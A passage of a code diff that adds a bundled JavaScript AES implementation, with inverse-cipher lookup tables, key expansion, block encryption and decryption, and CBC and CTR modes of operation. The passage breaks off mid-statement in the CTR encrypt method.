0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3]; +const U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697]; +const U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46]; +const U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d]; +function convertToInt32(bytes) { + const result = []; + for (let i = 0; i < bytes.length; i += 4) { + result.push((bytes[i] << 24) | (bytes[i + 1] << 16) | (bytes[i + 2] << 8) | bytes[i + 3]); + } + return result; +} +class AES { + get key() { return __classPrivateFieldGet$2(this, _AES_key, "f").slice(); } + constructor(key) { + _AES_key.set(this, void 0); + _AES_Kd.set(this, void 0); + _AES_Ke.set(this, void 0); + if (!(this instanceof AES)) { + throw Error('AES must be instanitated with `new`'); + } + __classPrivateFieldSet$2(this, _AES_key, new Uint8Array(key), "f"); + const rounds = numberOfRounds[this.key.length]; + if (rounds == null) { + throw new TypeError('invalid key size (must be 16, 24 or 32 bytes)'); + } + // encryption round keys + __classPrivateFieldSet$2(this, _AES_Ke, [], "f"); + // decryption round keys + __classPrivateFieldSet$2(this, _AES_Kd, [], "f"); + for (let i = 0; i <= rounds; i++) { + __classPrivateFieldGet$2(this, _AES_Ke, "f").push([0, 0, 0, 0]); + __classPrivateFieldGet$2(this, _AES_Kd, "f").push([0, 0, 0, 0]); + } + const roundKeyCount = (rounds + 1) * 4; + const KC = this.key.length / 4; + // convert the key into ints + const tk = convertToInt32(this.key); + // copy values into round key arrays + let index; + for (let i = 0; i < KC; i++) { + index = i >> 2; + __classPrivateFieldGet$2(this, _AES_Ke, "f")[index][i % 4] = tk[i]; + __classPrivateFieldGet$2(this, _AES_Kd, "f")[rounds - index][i % 4] = tk[i]; + } + // key expansion (fips-197 section 5.2) + let rconpointer = 0; + let t = KC, tt; + while (t < roundKeyCount) { + tt = tk[KC - 1]; + tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^ + (S[(tt >> 8) & 0xFF] << 16) ^ + (S[tt & 0xFF] << 8) ^ + S[(tt >> 24) & 0xFF] ^ + (rcon[rconpointer] << 24)); + rconpointer += 1; + // key expansion (for non-256 bit) + if (KC != 8) { + for (let i = 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + // key expansion for 256-bit keys is "slightly different" (fips-197) + } + else { + for (let i = 1; i < (KC / 2); i++) { + tk[i] ^= tk[i - 1]; + } + tt = tk[(KC / 2) - 1]; + tk[KC / 2] ^= (S[tt & 0xFF] ^ + (S[(tt >> 8) & 0xFF] << 8) ^ + (S[(tt >> 16) & 0xFF] << 16) ^ + (S[(tt >> 24) & 0xFF] << 24)); + for (let i = (KC / 2) + 1; i < KC; i++) { + tk[i] ^= tk[i - 1]; + } + } + // copy values into round key arrays + let i = 0, r, c; + while (i < KC && t < roundKeyCount) { + r = t >> 2; + c = t % 4; + __classPrivateFieldGet$2(this, _AES_Ke, "f")[r][c] = tk[i]; + __classPrivateFieldGet$2(this, _AES_Kd, "f")[rounds - r][c] = tk[i++]; + t++; + } + } + // inverse-cipher-ify the decryption round key (fips-197 section 5.3) + for (let r = 1; r < rounds; r++) { + for (let c = 0; c < 4; c++) { + tt = __classPrivateFieldGet$2(this, _AES_Kd, "f")[r][c]; + __classPrivateFieldGet$2(this, _AES_Kd, "f")[r][c] = (U1[(tt >> 24) & 0xFF] ^ + U2[(tt >> 16) & 0xFF] ^ + U3[(tt >> 8) & 0xFF] ^ + U4[tt & 0xFF]); + } + } + } + encrypt(plaintext) { + if (plaintext.length != 16) { + throw new TypeError('invalid plaintext size (must be 16 bytes)'); + } + const rounds = __classPrivateFieldGet$2(this, _AES_Ke, "f").length - 1; + const a = [0, 0, 0, 0]; + // convert plaintext to (ints ^ key) + let t = convertToInt32(plaintext); + for (let i = 0; i < 4; i++) { + t[i] ^= __classPrivateFieldGet$2(this, _AES_Ke, "f")[0][i]; + } + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T1[(t[i] >> 24) & 0xff] ^ + T2[(t[(i + 1) % 4] >> 16) & 0xff] ^ + T3[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T4[t[(i + 3) % 4] & 0xff] ^ + __classPrivateFieldGet$2(this, _AES_Ke, "f")[r][i]); + } + t = a.slice(); + } + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = __classPrivateFieldGet$2(this, _AES_Ke, "f")[rounds][i]; + result[4 * i] = (S[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (S[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (S[t[(i + 3) % 4] & 0xff] ^ tt) & 0xff; + } + return result; + } + decrypt(ciphertext) { + if (ciphertext.length != 16) { + throw new TypeError('invalid ciphertext size (must be 16 bytes)'); + } + const rounds = __classPrivateFieldGet$2(this, _AES_Kd, "f").length - 1; + const a = [0, 0, 0, 0]; + // convert plaintext to (ints ^ key) + let t = convertToInt32(ciphertext); + for (let i = 0; i < 4; i++) { + t[i] ^= __classPrivateFieldGet$2(this, _AES_Kd, "f")[0][i]; + } + // apply round transforms + for (let r = 1; r < rounds; r++) { + for (let i = 0; i < 4; i++) { + a[i] = (T5[(t[i] >> 24) & 0xff] ^ + T6[(t[(i + 3) % 4] >> 16) & 0xff] ^ + T7[(t[(i + 2) % 4] >> 8) & 0xff] ^ + T8[t[(i + 1) % 4] & 0xff] ^ + __classPrivateFieldGet$2(this, _AES_Kd, "f")[r][i]); + } + t = a.slice(); + } + // the last round is special + const result = new Uint8Array(16); + let tt = 0; + for (let i = 0; i < 4; i++) { + tt = __classPrivateFieldGet$2(this, _AES_Kd, "f")[rounds][i]; + result[4 * i] = (Si[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff; + result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff; + result[4 * i + 2] = (Si[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff; + result[4 * i + 3] = (Si[t[(i + 1) % 4] & 0xff] ^ tt) & 0xff; + } + return result; + } +} +_AES_key = new WeakMap(), _AES_Kd = new WeakMap(), _AES_Ke = new WeakMap(); + +class ModeOfOperation { + constructor(name, key, cls) { + if (cls && !(this instanceof cls)) { + throw new Error(`${name} must be instantiated with "new"`); + } + Object.defineProperties(this, { + aes: { enumerable: true, value: new AES(key) }, + name: { enumerable: true, value: name } + }); + } +} + +// Cipher Block Chaining +var __classPrivateFieldSet$1 = (__$G && __$G.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet$1 = (__$G && __$G.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _CBC_iv, _CBC_lastBlock; +class CBC extends ModeOfOperation { + constructor(key, iv) { + super("ECC", key, CBC); + _CBC_iv.set(this, void 0); + _CBC_lastBlock.set(this, void 0); + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + __classPrivateFieldSet$1(this, _CBC_iv, new Uint8Array(iv), "f"); + } + else { + __classPrivateFieldSet$1(this, _CBC_iv, new Uint8Array(16), "f"); + } + __classPrivateFieldSet$1(this, _CBC_lastBlock, this.iv, "f"); + } + get iv() { return new Uint8Array(__classPrivateFieldGet$1(this, _CBC_iv, "f")); } + encrypt(plaintext) { + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + const ciphertext = new Uint8Array(plaintext.length); + for (let i = 0; i < plaintext.length; i += 16) { + for (let j = 0; j < 16; j++) { + __classPrivateFieldGet$1(this, _CBC_lastBlock, "f")[j] ^= plaintext[i + j]; + } + __classPrivateFieldSet$1(this, _CBC_lastBlock, this.aes.encrypt(__classPrivateFieldGet$1(this, _CBC_lastBlock, "f")), "f"); + ciphertext.set(__classPrivateFieldGet$1(this, _CBC_lastBlock, "f"), i); + } + return ciphertext; + } + decrypt(ciphertext) { + if (ciphertext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + const plaintext = new Uint8Array(ciphertext.length); + for (let i = 0; i < ciphertext.length; i += 16) { + const block = this.aes.decrypt(ciphertext.subarray(i, i + 16)); + for (let j = 0; j < 16; j++) { + plaintext[i + j] = block[j] ^ __classPrivateFieldGet$1(this, _CBC_lastBlock, "f")[j]; + __classPrivateFieldGet$1(this, _CBC_lastBlock, "f")[j] = ciphertext[i + j]; + } + } + return plaintext; + } +} +_CBC_iv = new WeakMap(), _CBC_lastBlock = new WeakMap(); + +// Counter Mode +var __classPrivateFieldSet = (__$G && __$G.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet = (__$G && __$G.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _CTR_remaining, _CTR_remainingIndex, _CTR_counter; +class CTR extends ModeOfOperation { + constructor(key, initialValue) { + super("CTR", key, CTR); + // Remaining bytes for the one-time pad + _CTR_remaining.set(this, void 0); + _CTR_remainingIndex.set(this, void 0); + // The current counter + _CTR_counter.set(this, void 0); + __classPrivateFieldSet(this, _CTR_counter, new Uint8Array(16), "f"); + __classPrivateFieldGet(this, _CTR_counter, "f").fill(0); + __classPrivateFieldSet(this, _CTR_remaining, __classPrivateFieldGet(this, _CTR_counter, "f"), "f"); // This will be discarded immediately + __classPrivateFieldSet(this, _CTR_remainingIndex, 16, "f"); + if (initialValue == null) { + initialValue = 1; + } + if (typeof (initialValue) === "number") { + this.setCounterValue(initialValue); + } + else { + this.setCounterBytes(initialValue); + } + } + get counter() { return new Uint8Array(__classPrivateFieldGet(this, _CTR_counter, "f")); } + setCounterValue(value) { + if (!Number.isInteger(value) || value < 0 || value > Number.MAX_SAFE_INTEGER) { + throw new TypeError("invalid counter initial integer value"); + } + for (let index = 15; index >= 0; --index) { + __classPrivateFieldGet(this, _CTR_counter, "f")[index] = value % 256; + value = Math.floor(value / 256); + } + } + setCounterBytes(value) { + if (value.length !== 16) { + throw new TypeError("invalid counter initial Uint8Array value length"); + } + __classPrivateFieldGet(this, _CTR_counter, "f").set(value); + } + increment() { + for (let i = 15; i >= 0; i--) { + if (__classPrivateFieldGet(this, _CTR_counter, "f")[i] === 255) { + __classPrivateFieldGet(this, _CTR_counter, "f")[i] = 0; + } + else { + __classPrivateFieldGet(this, _CTR_counter, "f")[i]++; + break; + } + } + } + encrypt(plaintext) { + var _a, _b; + const crypttext = new Uint8Array(plaintext); + for (let i = 0; i < crypttext.length; i++) { + if (__classPrivateFieldGet(this, _CTR_remainingIndex, "f") === 16) { + __classPrivateFieldSet(this, _CTR_remaining, this.aes.encrypt(__classPrivateFieldGet(this, _CTR_counter, "f")), "f"); + __classPrivateFieldSet(this, _CTR_remainingIndex, 0, "f"); + this.increment(); + } + crypttext[i] ^= 